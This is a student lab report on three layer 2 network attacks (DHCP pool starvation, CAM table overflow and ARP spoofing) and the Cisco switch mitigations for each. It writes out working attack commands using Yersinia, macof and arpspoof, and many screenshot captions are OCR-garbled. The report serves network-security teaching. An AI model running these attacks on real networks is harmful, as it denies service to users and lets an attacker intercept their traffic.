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Purpose

This lab provides instructions for conducting three different layer 2 attacks: DHCP pool
starvation attack, CAM table overflow attack, and ARP spoofing attack. The first two attacks are
Denial of Service attacks which prevent new devices from using the network through
manipulating packets. The third attack is a man-in-the-middle attack to intercept packets.
Working on the Linux platform, we will run the attacks through the console and observe the
results. Afterwards, we will show the commands used to prevent these three attacks through
configuring security measures on the switches. Ultimately, this will serve as instructions both for
stress testing our network and securing our network to mitigate the risk of network attacks.

Background Information

Beginning with the 1988 Morris Worm internet attack, the first major internet attack in
which a self-duplicating virus propagated through the networking infrastructure of the United
States to infect computers across the nation, malicious actors, pranksters, and activists have used
a variety of sophisticated tools to take down networking devices or hijack it for their gain.
Although these attacks have grown in scale and complexity in the past decades, organizations
may arm themselves against attackers by enacting a variety of security countermeasures
developed by companies like CISCO or Cloudflare.

Given the ubiquity and necessity of layer 2 networking switches throughout the networks,
one of the most common types of attacks are those which exploit security weaknesses in the
networking switch devices. In this area, three of the easiest attacks on layer 2 switches are DHCP
Starvation attacks, CAM table overflow attacks, and ARP spoofing attacks.

The Dynamic Host Configuration Protocol (DHCP) is a 1993 protocol in which DHCP
servers scattered throughout the network automatically assign IP addresses to devices. In the
past, when new devices joined the network, users manually configure their IP addresses.
However, in addition to being an inconvenient task, such a system would be vulnerable to
duplicate IP addresses. Furthermore, it would be hard for organizations to keep track of the IP
addresses used by the devices. With DHCP, however, a central server would automatically keep
track of available addresses left in a pre-defined IP address pool. When new devices join the
network, they would broadcast a DHCP Discover message using a temporary IP address. When a
DHCEP server receives the message, they respond by offering an IP address. After confirmation,
the IP address is assigned to the new device.

When a DHCP server, usually a networking router, runs out of addresses, they would not
be able to offer new IP addresses to new devices. As a result, new devices would not be able to
access the internet. Therefore, network attackers can exploit DHCP’s system by intentionally
draining the router of its DHCP address pool. Using a program such as Yersinia, attackers would
send packets mimicking official DHCP Discover packets from new devices and trick the DHCP



server into giving out an address to a non-existent device. With enough packets sent out, the
DHCEP server’s address pool would instantly drain.

A similar packet spoofing denial of service attack would attack the CAM table on
switches directly. To remember the devices that are connected to each port, each switch keeps a
CAM table in which the MAC addresses of devices connected to each port are stored. When a
new packet arrives, it will read its destination MAC address and send it through the
corresponding port. However, this CAM table on the switch has a limit too, and only a limited
number of addresses may be memorized at a time. As a result, attackers can once again send
spoofed packets to the switch from non-existent devices with random MAC addresses to fill up
the table. When new legitimate devices try to connect to the network through the switch, the
switch can no longer accommodate them because its table is already full.

In addition to denial-of-service attacks, layer 2 attacks may also be used for man-in-the-
middle attacks in which the attacker intercept messages sent between adjacent devices. The ARP
spoofing attack is one attack which precisely tricks devise into relaying messages through the
attacker. Networking devices use the ARP table to find each other on a network by matching IP
addresses to MAC addresses. For Device A to send a packet to Device B’s IP, it will look up the
MAC address corresponding to the destination IP and tell the switch to send the packet to that
MAC address. However, attackers can use spoofed packets to manipulate the table by replacing
the MAC address of the true destination with its own address. As a result, packets being sent
between devices will go to the attacker instead. If the attacker then programs their computer to
then relay the message to the correct destination as if nothing had happened, they would be able
to steal the information without detection.

Thankfully, though these attacks may have severe repercussions on networking
operations, CISCO has developed countermeasures protecting the network from hostile attackers.
For DHCP starvation attacks, we may use DHCP snooping to check for fraudulent packets being
sent across the network and ensure that only the router is offering DHCP addresses to new
device. To prevent CAM table overflow attacks, CISCO Switch port security offers the ability to
restrict each switch port to only a set limit of MAC addresses learned. When attackers try to run
a CAM table overflow attack with port security on, the switch shuts the port automatically once
the limit is reached. To mitigate ARP spoofing, we can run Dynamic ARP Inspection on the
switch to eliminate spoofed ARP messages from being sent through the network.

Lab Summary

Through the steps of the lab, we will set up a network with a switch connected to two
hosts at FO/1, FO/2 respectively, and a router at FO/4. The router on the network will provide
DHCEP service to the two client hosts. Working on a Linux Ubuntu operating system, we will
then install three applications used to run network attacks: yersinia for DHCP spoofing, dsniff for
MAC overflow, and arpspoof for the ARP spoofing attack. The three applications will create fake
network packets and send them out through the interface to the switch, crippling the network.



After each attack, we will enact security measures on the switch to mitigate that type of attack,
then reattempt the attack to verify that the security measures work.

Lab Commands

The new commands introduced in this lab are as follows.
DHCP Attack

To create a new DHCP pool on the router, we apply,

ip dhcp pool POOL-A

Configure the address pool and default gateway given out as follows.
network [network address] [subnet mask]
default-router [router port ip address]

To reset the bindings, we use,

clear ip dhcp bindings *

To show the bindings, we use,

show ip dhcp binding

To install an application on Linux, we run sudo apt install [application name] on
Linux console

To enable DHCP snooping on a VLAN of the switch, run,

ip dhcp snooping

ip dhcp snoop vlan [vlan-number]

To mark certain ports as trusted, run,

interface [trusted interface]

ip dhcp snooping trust

To set a rate limit on messages from a port, apply,

ip dhcp snooping limit rate [limit per second]
CAM Table Overflow Attack

After installing dsniff, to conduct a CAM table overflow attack, run,

sudo macof -i [interface name]



To show the mac address table on a switch, use,

show mac address-table

To clear the mac address table on a switch, use,

clear mac address-table dynamic

To limit one user to a port on the switch, apply,

switchport mode access

switchport port-security maximum 1

ARP Spoofing Attack

To run an arpspoof attack, run the following command through Linux console
sudo arpspoof -i [interface name] -t [victim IP] [Router IP]
To enable dynamic arp inspection on a switch, use,

ip arp inspection vlan [vlan number]

To label a port as trusted on a switch for purposes of arp inspection, use,

ip arp inspection trust

Lab Instructions (DHCP Pool Starvation Attack)

Open two computers running Linux and Windows respectively. The computer running Linux will
be referred to as PC2, and the one running Windows PC1.

Connect S1 to PC1 at FO/1, PC2 at F0/2, and R3 at F0/4 to G0/0/1 respectively. We may now set
up a DHCP server on R3 with PC1 and PC2 as clients.

Configure the IP Address for the g0/0/1 port on R3 as 192.168.1.1/24

(config) #int g0/0/1
(config-if) #ip address 192.

Rl (confic ip dhcp pool POOL-A

*Dec 19 :22:13.543: SLINK-3-UPDOWN: GigabitEtl
*Dee 19 22:22:14.543: %LINEEEOTO —TT:DOWN '- protocol c
Rl (dhcp-config) #network 192.168.1.0 255.2 C
)““1*—‘faul"—l<'11u’31 192.168.

)ro &

Rl (dhcp-config
R1 (dhcp—-config




Verify that PC1 was able to receive an IP addresses

C:\Users\Daniel>ipconfig /renew

Windows IP Configuration

No operation can be performed on Ethernet 2 while it has its media disconnected.

No operation can be performed on Wi-Fi while it has its media disconnected.

No operation can be performed on Local Area Connection* 1 while it has its media disconnected.

No operation can be performed on Local Area Connection* 10 while it has its media disconnected.

No operation can be performed on Bluetooth Network Connection while it has its media disconnected.

Ethernet adapter Ethernet 2:

Media State : Media disconnected
Connection-specific DNS Suffix

Wireless LAN adapter Wi-Fi:

Wireless LAN adapter Local Area Connection* 1:

Media State : Media disconnected
Connection-specific DNS Suffix

Wireless LAN adapter Local Area Connection* 10:

Media State : Media disconnected
Connection-specific DNS

Ethernet adapter Ethernet:

Connection-specific DNS S

IPv4 Address : 192.168.1.2
Subnet Mask ¢ 255.255.255.0
Default Gateway <9271 68T 1R

Disconnect PC1 from the network temporarily.

Run clear ip dhcp binding * to reset the bindings

On PC2, run sudo apt install yersinia to install Yersinia

: . ;S sudo apt install yersinia
Reading package lists... Done
Building dependency tree... Done

Reading state information... Done
yersinia is already the newest version (0.8.2-2.2
@ upgraded, 0@ newly installed, @ to remove and 29 not upgraded.

build2).

Run sudo yersinia -TI torun yersinia in interface mode



andy@Ai-integrationLabTest: ~

BridgeTId Iface Last seen

Press F2 to enter DHCP attack mode

andy@Ai-IntegrationLabTest: ~

MessageType Iface Last seen

Press X to open attack option menu, then 1 to spam DISCOVER packets



Returning to the router, run show ip dhcp binding to verify the DHCP pool is exhausted

Now, reconnect PC1 to the network and run ipconfig /renew to verify it may no longer get
an IP address

C:\Users\Daniel>ipconfig /renew
Windows IP Configuration
No operation can be performed on Ethernet 2 while it has its media disconnected.

No operation can be performed on Local Area Connection* 1 while it has its media disconnected.
No operation can be performed on Local Area Connection* 10 while it has its media disconnected.

Lab Instructions (DHCP Starvation Attack Mitigation)

Run clear ip dhcp binding * toundo the attack

clear ip dhcp binding *




On the switch, enable DHCP Snooping

n CNTL/Z.

Mark the port connected to the router as a trusted port

(S1 (config) #int £f0/4
S1(config-if) #ip dhcp snooping trust
S1 (confic

For user interfaces, rate limit DHCP messages to 100 per second

(confi
confic

Lab Instructions (CAM Table Overflow Attack)

On PC2, open the terminal



andy@Ai-IntegrationLabTesk: ~

s 1

Run sudo apt-get install dsniff -fix-missing to getthe relevant commands
for the attack

yiEAil-Intec t: 5 sudo apt-get install dsniff --fix-missing
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additicnal packages will be installed:

libnetl libnids1.21t64

he following NEW packages will be installed:

dsniff libmetl libnidsi.21ts4
P upgraded, 3 newly installed, ©® to remove and 62 not upgraded.
Need to get 170 kB of archives.

fter this operation, 656 kB of additional disk space will be used.
Po you want to continue? [Y/n] vy
et:l http://us.archive.ubuntu.com/ubuntu noble/main amd6d4 libnetl amd6d 1.1.6+dfsg-3.2buildl [44.5 kB]
et:2 http://us.archive.ubuntu.com/ubuntu noblefuniverse amd6d libnidsl.21t64 amd6d 1.26-2.1buildZ [21.9 kB]
et:3 http://us.archive.ubuntu.com/ubuntu noble/universe amd6é4 dsniff amd6d 2.d4bl+debian-32build2 [163 kB]
etched 178 kB in 1s (230 kB/s)

electing previously unselected package libneti:amd6d.

Reading database ... 226123 files and directories currently installed.)
Preparing to unpack .../ libnetl 1.1.6+dfsg-3.2buildl_amdéd4.deb ...

npacking libnetl:amdé4 (1.1.6+dfsg-3.2buildl) ...
Felecting previously unselected package libnids1.21t64:amd64.
Preparing to unpack .../libnids1.21t64_1,26-2.1build2_amdé4.deb ...

npacking libnids1.21t64:amd64 (1.26-2.1build2) ...
Belecting previously unselected package dsniff.
Freparing to unpack .../dsniff_2.4bl+debian-32build2_amd6d.deb ...

npacking dsniff (2.4bl+debian-32build2) ...

etting up libneti:amdéd (1.1.6+dfsg-3.2buildi) ...
Eetting up libnidsl.21t64:amd6d (1.26-2.1build2) ...
Betting up dsniff (2.4bl+debian-32build2) ...
Processing triggers for libc-bin (2.39-8ubuntuB.6)
Processing triggers for man-db (2.12.8-4build2) ...

andy@Ai-Integrationls % sudo macof -1 ethe

acof: libnet_check iface() ioctl: No such device




Run sudo apt install wireshark to download Wireshark

d1nq state 1nfu4m1tlu .. Done
onal purkaqpq uill bn installed:

2

n1;1p1 64 llunghtt 3-3 .1huu.| t6
4 libpcre2-16-8 libpgm-5.3-8t64
{ L core6t6d libgtédbussted libgtbguibtsd
lLDntmu1r v ibg etwork6tsd LquthopE 64 1libg :
llhquqmlJ leqf 1s6 Z. guick i /g6 libgt

1thwintegrat
\ ntpgratiunﬁ libqgté
tﬁWthh ‘Ltntpgl : rabbitmg4 libri : !
S-gnutls 1ib . -4 11 7 Llibtse budfreadd
;ha|F data 11 3 arkl7t64 libwiretapl4 L utiliste4 libzmgs
-platformtheme qt6-gpa-plugins gté-translations-110n gt6-wayland
ommon
Suggested packages:
libbluray-bdj qté-gmltooling ins snmp-mibs-downloader geoipupdate
geoip-database geoip-databas tra libjs-le
j leafluf cluster wireshark-doc
1uq hEH pdt. ges will be installed:

Now, on PC2, open a second Terminal window and run sudo macof -i enol

:-$ sudo macof -i enol

Run sudo wireshark to launch Wireshark in admin mode



The Wireshark Network Analyzer = (B &
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ABRZO®PRERE Q¢ >y~ ~E

[I|Apr_\‘.g,-ddis-;nla\;r'ili_es .= Ctrl-f> = L]

ot

Capture

...using this Filcer: |0 jEnter a capture filter .., ~| | allinterfaces shown-

wlp202s0
any
Loopback: lo
bluetootho
enoz
dockero
bluetooth-monitor
nflog
nfqueus
dbus-system
dbus-session

@ Cisco remote capture: ciscodump

@ DisplayPort AUX channel monitor capture: dpauxmon

® Random packet generator: randpkt

@ systemd Journal Export: sdjournal

@ SSH remote capture: sshdump

@ UDP Listener remote capture: udpdump

@ Wi-Firemote capture: wifidump

[13%

Learn
User's Guide - Wiki - Questions and Answers - Mailing Lists - SharkFest - Wireshark Discord - Donate
You are running Wireshark 4.2.2 (Git v4.2.2 packaged as 4.2.2-1.1build3).

¥ Ready to load or capture No Packets Profile: Default

Open the option for enol



Capturing from eno1

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

_lC AEHOR I L=

e el
OECHORE
L S AL

No. Time Source Destination
. 000! 99  Cisco_d4:7a:81

Spanning-tree-(for-.. ST

3 2.251187771 Cisco_d4:7a:81 Cisco_d4:7a:81 LOOP 60 Reply
5 5.602783316 0.0.8.0 255.255.255.255 DHCP 342 DHCP Discover - Transaction
8 8.498007057 192.168.1.2 224.8.8.,251 MDNS 87 Standard guery 8x8808 PTR _

Frame 1: 60 bytes on wire (488 bits), 68 bytes capl 8008
IEEE 802.3 Ethernet

Logical-Link Control

Spanning Tree Protocol

L] [ ] L]
© 7 enoi:<live capture in progress>

01 80 c2 0@ @G B0 b® Bb
83 00 00 B2 B2 3c B0 A1
00 00 80 01 be 8b do d4
02 00 of 00 00 00 B8 0O

13

do d4 7a 81 00 27 [H
b8 8b do d4 7a 80 B8
7a 80 80 01 0O OO 14
00 00 00 B0

Packets: 8 - Displayed: 8 (100.0%)  Profile: Default

Connect the PC2 and PC1 to a switch through an Ethernet connection on port enol

Open Putty on PC1 and use COMI to open the switch

Enter privileged EXEC mode through the enable command, then enter show mac

address—-table

Sl#show

STATIC
Agee .. ccon STATIC

.c200.0000 STATIC

A}



Verify that the MAC address-table has only two DYNAMIC addresses, namely the MAC
addresses of the two connected PC2 and PC1

Now, on PC2, open a second Terminal window and run sudo macof -i enol

:-% sudo macof -1 enol

After roughly 60 seconds, verify the attack is successful by checking if there is indeed a flood of
packets flowing through Wireshark from random IP addresses

r . Al
Capturing from eno1 = ) &

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
i > 5 [ ) = = FEH
a0 R AL I -~ =EQAQQE

(R] -je
No. Time Source Destination Protocol Length Info =

1252.. 251.427538550 60.63.195.115 66.140.74.82 IPv4 54

1252.. 251.427543104 131.212.26.25 215.121.138.58 IPv4d 54

1252.. 251.427555381 195.72.76.96 14.118.136.122 IPv4 54

1252.. 251.427569159 93.153.37.5 27.64.61.84 IPv4 54

1252.. 251.427576784 103.131.249.90 11.145.86.8 IPv4 54

1252.. 251.427586300 59.65.96.120 166.93.33.101 IPva 54

1252.. 251.427598500 129.79.43.104 19.173.194.82 IPva 54

1252.. 251.427610325 136.159.20.125 179.194.22.87 IPv4 54

1252.. 251.427616178 70.225.210.44 61.4.249.40 IPv4 54
1 »
» [Frame 1: 60 bytes on wire (480 bits), 68 bytes captured (480 bits) 61 80 c2 60 60 00 be 8b do d4 7a 81 00 27 42 42
» IEEE 802.3 Ethernet 1 63 00 00 02 02 3c 80 @1 bo 8b do d4 7a 80 00 0O <
+ Logical-Link Control 66 00 80 01 be 8b do d4 7a 80 80 01 60 00 14 8O z
+ Spanning Tree Protocol 02 00 Of OO 00 GO 0O 0O 00 00 00 0O

[ v [ C

@ ¥ enoi:<live capture in progress> Packets: 12526518 - Displayed: 12526518 (100.0%)  Profile: Default



Verify the switch is affected by the attack by running show mac address-table again

After a few minutes, the switch should report that the MAC address limit has been reached,
indicating a successful attack; no more devices can use the switch




Lab Instructions (CAM Table Overflow Mitigation)

Start by entering clear mac address-table dynamic on the switch to undo the effect
of the attack

mac address-table dynamic
Over all ports of the switch, enter the commands

- switchport mode access

- switchport port-security maximum 1

l (confiqg) 4
l (config-if-
config-if-range) #switchport p« secCl maximum 1

Now, if we recreate the attack, the switch will shut down the violating port after learning more
than one address from the port

Lab Instructions (ARP Spoofing)

Reconnect the network

On PC2, run sudo arpspoof -i enol -t [PCl IP] [Router IP] toremap the
router MAC address to PC2

i tegrat : § sudo arpspoof -1 enol -t 192.168.1.2 192.168.1.1
4:d9:c8:ba:24:cc 4:d9:cB:ba:24:6e 0806 42: arp reply 192.168.1.1 is-at 4:d9:c8:ba:

4:d9:c8:ba:24:cc 4:d9:cB:ba:24:6e 0806 42: arp reply 192.168.1.1 is-at 4:d9:c8:ba:
4:d9:c8:ba:24:cc 4:d9:cB:ba:24:6e 0806 42: arp reply 192.168.1.1 is-at 4:d9:c8:ba:

Run sudo arpspoof -i enol -t [Router IP] [PC1l IP] toremap the PC2 MAC
address to R1

[ : st: sudo arpspoo enol -t 192.168.

:24:cc b4:a8:b%9:1:b7:51 0806 42: reply 192.168.1.

:24:cc b4:aB8:b%9:1:b7:51 0BO6 42: reply 192.168.1. :d9:

:24:cc b4:a8:b%9:1:b7:51 0806 42: reply 192.168.1.2 1 :d9:cB8:ba:24:cc

Run arp -a on to verify the MAC address of the router and PC2 are now the same

Interface: 192.168.1.2 ——— 0x13
Internet Address Physical Address Type

192916 Say] vl 04-d9-c8-ba-24-cc dynamic
19216 SIS 04-d9-c8-ba-2uU-cc dynamic




Ping the router from PC1

C:\Users\Daniel>ping 192.168.1.1

Pinging 192.168.1.1 with 32 bytes of data:

Reply from 192.168.1.1: bytes=32 time=1lms TTL=254
Reply from 192.168.1.1: bytes=32 time=1lms TTL=254
Reply from 192.168.1.1: bytes=32 time=lms TTL=254
Reply from 192.168.1.1: bytes=32 time=1lms TTL=254

Open Wireshark on PC2 and start capturing on enol once again, observe that PC2 is now able to

see the message

r ]
Capturing from eno1 2, QR

File Edit view Go Capture Analyze Statistics Telephony Wireless Tools Help

WS | XEG AL »PI——= = QQOQE

Protocol Leng!

94 94.,448974766 .168.1. i) 74 Echo (ping) r

95 94.449072393 .168.1. ; 74 Echo (ping) r

96 94.449778589 .168.1. 74 Echo (ping) r
. 449841832 .3 ect

98 94.449862993 192.168.1. 192. 74 Echo (ping) r_

404 AR ARRARTAZ7 4070 4R0 4 ann 460 4 ToMD T4 Erbha foimn) -

‘

+ Frame 67: 70 bytes on wire (560 bits), 70 by 0088 04 d9 c8 ba 24 cc [ZJECHEE 01 b7 51 68

» Ethernet II, Src: Cisco_01:b7:51 (b4:a8:b9:0 60 35 00 60 0O 00 Tf 61 38 71 cO a8 61
+ Internet Protocol Version 4, Src: 192.168.1. 01 62 ©3 01 0a 81 G0 G0 0O 00 45 @0 00
+ Internet Control Message Protocol 40 00 7e B6 76 94 c@ a8 01 82 28 4f a7

@1 bb 91 31 79 @9

@ 7 enot:<live capture in progress=> Packets: 431 - Displayed: 29 (6.7%)  Profile: Default

Lab Instructions (ARP Spoofing Mitigation)

Enter Ctrl+C on PC2 terminal to undo the attack

~CCleaning and re-arping targets...
:ba:24:cc 4:d9:cB:ba:24:6e 0806 42: reply
:ba:24:cc 4:d9:cB:ba:24:6e 0BR6 42: reply

1ba:24:cc 4:d9:c8:ba:24:6e 0806 42: reply
:ba:24:cc 4:d9:c8: :6e DBR6 42: reply
:ba:24:cc 4:d9:cB:ba:24:6e 0806 42: reply

= |

OnSl,use ip arp inspection vlan 1and ip arp inspection trust onthe
port to R1 to enable ARP inspection




When we reattempt the attack, the spoofed ARP messages are dropped

Network Diagram

DHCP Server

P
ISRA4331 G0/0/1
R 192.168.2.1/30

\ Fo/4
ié"
2@\“
S1
Fo/1 FO/2

o 2
PC-PT PC-PT Attacker PC
PC1 PC2

Configurations

Below are the configurations of the two network devices after all the protections have been
added.

Router R1

version 16.9
ser

version 16.9
service timestamps debug datetime msec
service timestamps log datetime msec



platform gfp utilization monitor load 80
platform punt-keepalive disable-kernel-core

hostname

R1

boot-start-marker

boot-end-

marker

vrf definition Mgmt-intf
address-family ipv4
exit-address-family
address-family ipvé
exit-address-family
no aaa new-model
ip dhcp pool POOL-A
network 192.168.1.0 255.255.255.0
default-router 192.168.1.1
login on-success log
subscriber templating
vtp domain cisco
vtp mode transparent
multilink bundle-name authenticated
crypto pki trustpoint TP-self-signed-3939337615
enrollment selfsigned

subject-name cn=I0S-Self-Signed-Certificate-3939337615

revocation-check none

rsakeypair TP-self-signed-3939337615
crypto pki certificate chain TP-self-signed-3939337615

certificate self-signed 01

30820330
31312F30
69666963
30395A17
4F532D53
33373631
0A028201
©693CA95
C6D9BDEE
2F68E1A8
3A280BA9
6B6E201B
95926BC8
FAD2217B
B19141DF
301F0603
A5301D06
300D0609
16CC4168B
47FAD366
84933861
O568EAQ3
FC89DAF0
754BEAQ7

30820218
2D060355
6174652D
0D333030
656C662D
35308201
0100A103
552C1EE4
26C9C6C3
4D671AF3
E96D21F3
A7A75DFE
EA2BE8OC
0321A5C9
3ACF0203
551D2304
03551DOE
2A864886
524ECFBB
8EDODA77
93F7F034
0C124326
E157BB40
B363130C

A0o30201
04031326
33393339
31303130
5369676E
22300D06
56E616C4
©949BD59
1BE69FOC
2758D6B4
C5B289DB
935B4595
AB6D5746
E8F2F46F
010001A3
18301680
04160414
F70De101
45073947
EBES55ESA
67E06191
1D816FB3
1D33EBF1
9A5F993E

02020101
494F532D
33333736
30303030
65642D43
092A8648
05A3946D
42B5C352
BBBBSOD67
83018D24
C4289B59
72CDC366
E18ED301
32411AFA
53305130
14312ECS
312EC52A
05050003
CO6C7BEF
OF82046E
EEE649DF
EOE44EFE
D43D9DAF
15DD8EFC

300D0609
53656C66
3135301E
305A3031
65727469
86F70D0o1
186611DC
4247184E
40585E70
4A1F5AA6
5CD176BC
53F76724
2E3E71E6
662A79AF
OF060355
2A743A69
743A6936
82010100
508F3786
AQ76CB7C
926329CA
4B3B6545
CA4EC730
76528E3C

2A864886
2D536967
170D3236
312F302D
66696361
01010500
2A6DDBB3
OE96DB2B
16243FCE
638C70AC
CDB3447A
CA02BF22
D8E32985
FC84D043
1D130101
365E9BB3
S5E9BB376
09BA72CB
16D19BC3
BA1AAQOCS
159661B1
C7F9748F
264F466E
2CE8A4CC

F70Do101
6E65642D
30313035
06035504
74652D33
0382010F
6524BAES8
76E2A38E
F58D7754
0555A582
9F7626AB
B54409F3
9A57D1B4
27AA53A3
FFO040530
765C78BE
5C78BES80
CBB5D5BC
DD469BB1
4A144E2D
BAECB40B
46EEQ504
642052F1
2E7CD3ED

05050030
43657274
32323236
03132649
39333933
00308201
B2469B81
B8F5BOA4
C1ES43BD
DFOF4ES5C
79BC2201
613C3E52
EAD3C6A5
2963E46D
030101FF
80OF6EB2B
F6EB2BAS
3DCeDD4B
7AC7CC90
2F4C1D88
CE34CA6D
1FO9ES529
BD6451AA
050F738E



B4669D95 15F3730F EE8184B8 EEDEC219 EDAE2231 B2EF1A39 92AFE2E7 8D568DAE
152D7FC8 D7B305C5 ©882CCA6 FBE42DSF B33F1AQA
quit

license udi pid ISR4321/K9 sn FD0214420G7
no license smart enable

diagnostic bootup level minimal
spanning-tree extend system-id

redundancy

mode none

interface GigabitEtherneto/0/0

no ip address

negotiation auto

interface GigabitEtherneto/0/1

ip address 192.168.1.1 255.255.255.0
negotiation auto

interface Seriale/1/e

no ip address

shutdown

interface Seriale/1/1

no ip address

shutdown

interface GigabitEtherneto

vrf forwarding Mgmt-intf

no ip address

shutdown

negotiation auto

ip forward-protocol nd

ip http server

ip http authentication local

ip http secure-server

ip tftp source-interface GigabitEthernet®o
control-plane

line con ©

transport input none

stopbits 1

line aux ©

stopbits 1

line vty 0 4

login

end

Switch S1

version 12.2

no service pad

service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
hostname S1



boot-start-marker

boot-end-marker

no aaa new-model

system mtu routing 1500
authentication mac-move permit

ip subnet-zero

ip dhcp snooping vlan 1

ip dhcp snooping

ip arp inspection vlan 1
spanning-tree mode pvst
spanning-tree etherchannel guard misconfig
spanning-tree extend system-id

vlan internal allocation policy ascending
interface FastEtherneto/1
switchport mode access

switchport port-security maximum 10
switchport port-security
spanning-tree portfast

ip dhcp snooping limit rate 100
interface FastEtherneto/2
switchport mode access

switchport port-security maximum 10
switchport port-security
spanning-tree portfast

ip dhcp snooping limit rate 100
interface FastEtherneto/3
switchport mode access

switchport port-security maximum 10
switchport port-security
spanning-tree portfast

ip dhcp snooping limit rate 100
interface FastEtherneto/4
switchport mode access

switchport port-security maximum 10
switchport port-security

ip arp inspection trust
spanning-tree portfast

ip dhcp snooping trust

interface
interface
interface
interface
interface
interface
interface
interface
interface
interface
interface
interface

FastEtherneto/5
FastEtherneto/6
FastEtherneto/7
FastEtherneto/8
FastEtherneto/9
FastEtherneto/10
FastEtherneto/11
FastEtherneto/12
FastEtherneto/13
FastEtherneto/14
FastEtherneto/15
FastEtherneto/16



interface FastEtherneto/17
interface FastEtherneto/18
interface FastEtherneto/19
interface FastEtherneto/20
interface FastEtherneto/21
interface FastEtherneto/22
interface FastEtherneto/23
interface FastEtherneto/24
interface GigabitEtherneto/1
interface GigabitEtherneto/2
interface Vlanl

ip address 192.168.1.5 255.255.255.0
ip default-gateway 192.168.1.10
ip classless

ip http server

ip http secure-server

ip sla enable reaction-alerts
line con ©

line vty 5 15

end

Problems

During the DHCP starvation attack mitigation, after enabling DHCP snooping, no DHCP
addresses were given out at all. As it turns out, I had set the rate limit for DHCP messages to 10
messages per second.

9.
S1 (config-if-range

S1 (config-if-range

However, this limit was too tight, since normal DHCP operations caused the limit to trigger.
After increasing the limit to 100, we found a better balance where DHCP could operate normally.

While presenting the DHCP starvation attack, I once again ran into an issue where PC1
could not get a DHCP address through a normal request. After checking the DHCP settings, I
discovered that I had put the wrong port as the trusted port, meaning DHCPoffer messages from
the router were getting dropped. The configuration was fixed and things worked.

When downloading programs such as Wireshark through Linux for the first time, the
system initially showed that it was unable to fetch the archives. After investigating the issue, we
found that the cause was because the computer was connected to the switch via ethernet but not
to the internet via Wi-Fi. As a result, it could not download the program files from the internet.
After reconnecting, the installations worked.

Opening Wireshark through the search bar, none of the ports showed up. After Googling
this issue, I realized that I needed to run Wireshark with admin mode by opening it through the
terminal.



Conclusion

Although the tools used in the lab today may be used for malicious Denial of Service
attack purposes, if we familiarize ourselves with these tools and use them responsibly, we may
apply them for ethical purposes such as penetration testing on our own network. Though DHCP
Starvation Attacks, CAM Table Overflow, and ARP Spoofing attacks are rudimentary methods of
launching Denial-of-Service attacks, they still pose a major risk to organizations with weak
network security, such as small businesses. Therefore, learning to mitigate these risks through the
tools used in the lab is a critical skill. Furthermore, through the experience of encountering
problems when working with a new operating system, we grow our capacity to handle unique
challenges and the use of internet tools to resolve our problems.
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